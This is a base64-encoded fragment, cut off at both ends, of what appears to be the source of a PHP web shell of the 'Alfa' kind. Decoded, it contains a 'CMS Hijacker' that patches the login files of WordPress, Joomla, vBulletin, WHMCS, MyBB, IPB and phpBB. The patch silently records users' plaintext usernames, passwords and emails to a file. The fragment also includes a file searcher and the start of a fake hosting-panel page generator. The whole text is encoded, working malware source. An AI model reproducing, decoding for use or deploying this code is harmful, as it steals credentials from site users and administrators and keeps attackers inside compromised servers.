AkZSkgewoJCQkJfQoJCQl9CgkJYnJlYWs7Cgl9CmlmKCRpdHNvayl7CmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4gPGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNtc2hpamFja2VyKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsbCx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOwokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOwpmb3JlYWNoKCRjbV9hcnJheSBhcyAka2V5PT4kdmFsKWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPic7CmVjaG8oIjwvc2VsZWN0PiIpOwplY2hvICcgUGF0aCBpbnN0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4KU2F2ZVRvOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9InNhdmV0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnR4dCI+PC9mb250Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRjbXMgPSAkX1BPU1RbJ2FsZmExJ107CiRzYXZldG8gPSAkX1BPU1RbJ2FsZmEyJ107CiRjbXNwYXRoID0gJF9QT1NUWydhbGZhNCddOwppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydhbGZhNCddIEFORCAkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKYWxmYUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byl7CnN3aXRjaCgkY21zKXsKY2FzZSAidmIiOgpoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7CmJyZWFrOwpjYXNlICJ3cCI6CmhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiam9tIjoKaGlqYWNrSm9vbWxhKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAid2htY3MiOgpoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmNhc2UgIm15YmIiOgpoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiaXBiIjoKaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAicGhwYmIiOgpoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmRlZmF1bHQ6CmVjaG8gImVycm9yISI7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gaGlqYWNrdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pewokY29kZT0nJGFsZmFfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGFsZmFfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3Bhc3N3b3JkIl07JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJHZidWxsZXRpbi0+ZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9XCciIC4gJGFsZmFfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJHZidWxsZXRpbi0+ZGItPmZldGNoX2FycmF5KCRzcWxfcXVlcnkpKXtpZihzdHJsZW4oJGFsZmFfcGFzc3dvcmQpID4gMSBBTkQgc3RybGVuKCRhbGZhX3VzZXJuYW1lKSA+IDEpeyRmcDEgPSBAZm9wZW4oJGFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAxLCAkYWxmYV91c2VybmFtZSAuIFwnIDogXCcgLiAgJGFsZmFfcGFzc3dvcmQuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKVxuIik7QGZjbG9zZSgkZnAxKTsgJGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7CiRjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW4gPSAkcGF0aC4iL2xvZ2luLnBocCI7CiRjbGFzcyA9ICRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7CiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsKJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZG9sb2dpbjsKJGV2aWxfY2xhc3MgPSAidHJ1ZSI7CmlmKChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CiRkYXRhX2NsYXNzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwokY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrd3AoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHVzZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7CiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkcmVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKEBwcmVnX21hdGNoKCRyZWRpcmVjdF93cCwgJGRhdGFfbG9naW4sICRtYXRjaCkpewokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx0Ii4kY29kZTsKJGxvZ2luX3JlcGxhY2UgPSBAcHJlZ19yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hdXRoZW50aWNhdGlvblwnKTskQWxmYV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEFsZmFfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdwYXNzd2RcJ10pOyRBbGZhX29wdGlvbnMgPSBhcnJheSgpOyRBbGZhX3Jlc3BvbnNlID0gJEFsZmFfYXV0aC0+YXV0aGVudGljYXRlKCRBbGZhX2RhdGEsICRBbGZhX29wdGlvbnMpO2lmKCRBbGZhX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGFsZmFfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkYWxmYV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kQWxmYV9yZXNwb25zZS0+ZW1haWwuIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9Pz4nOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOwppZihAaXNfZmlsZSgkY29tcC4iL2xvZ2luLnBocCIpKXsKJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOwp9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpewokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7Cn1lbHNlewokbG9naW4gPSAnJzsKfQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLiRkYXRhX2xvZ2luOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dvcmRcJ10pKXtpZigkYWxmYV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskYWxmYV91bmFtZSA9IEAkX1BPU1RbXCd1c2VybmFtZVwnXTskYWxmYV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRhbGZhX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGFsZmFfdW5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGFsZmFfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskYWxmYV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckYWxmYV91bmFtZVwnIjskYWRtaW4gPSBmYWxzZTt9JGFsZmFfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGFsZmFfY29ubmVjdCwgJGFsZmFfcSk7aWYobXlzcWxpX251bV9yb3dzKCRhbGZhX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRhbGZhX3F1ZXJ5KTskYWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJvd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRhbGZhX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319fX0/Pic7CiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsKJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7CmlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl7CiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOwppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOwokZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOwpAZmlsZV9wdXRfY29udGVudHMoJGNvbmYsICRldmlsX2NvbmYpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX3EgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGFsZmFfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRhbGZhX3EpOyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRhbGZhX2ZldGNoW1wnZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsKJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL21lbWJlci5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRBbGZhX3EgPSAkdGhpcy0+REItPmJ1aWxkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskQWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEFsZmFfcVtcJ2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkQWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOwokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7CiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7CmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpewokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCRzYXZldG8pewokY29kZSA9ICckQWxmYV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskQWxmYV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkQWxmYV91ICE9IFwnXCcgQU5EICRBbGZhX3AgIT0gXCdcJyl7JEFsZmFfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEFsZmFfdSwkQWxmYV9wKTtpZigkQWxmYV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskQWxmYV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV91LiIgOiAiLiRBbGZhX3AuICIgKCAiLiRBbGZhX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOwokZmluZCA9ICdjYXNlIFwnbG9naW5cJzonOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9CmZ1bmN0aW9uIEFsZmFfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsKaWYoQGlzX2RpcigkZGlyKSl7CiRmaWxlcz1Ac2NhbmRpcigkZGlyKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpewokcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsKaWYoIUBpc19kaXIoJHBhdGgpKXsKaWYoJGV4dCE9JyonKXskZiA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQppZigkZT09J3N0cicpewokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CmlmKHN0cnBvcygkY29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsKZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7Cn0KfWVsc2V7CmlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpewplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsKfQp9CiRyZXN1bHRzW10gPSAkcGF0aDsKfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7CkFsZmFfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsKJHJlc3VsdHNbXSA9ICRwYXRoOwp9fX19CmZ1bmN0aW9uIGFsZmFmYWtlcGFnZSgpewoJYWxmYWhlYWQoKTsKCUFsZmFOdW0oOSwxMCk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+Cgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3RvLnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KCTxkaXYgY2xhc3M9InR4dGZvbnQiIHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpOyI+PGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPlBhbmVsOiA8L3NwYW4+PHNlbGVjdCBzdHlsZT0id2lkdGg6MTAwcHg7IiBuYW1lPSJwYW5lbCI+JzsKCSRjbV9hcnJheSA9IGFycmF5KCJjcGFuZWwiPT4iQ3BhbmVsIiwiZGlyZWN0YWRtaW4iPT4iRGlyZWN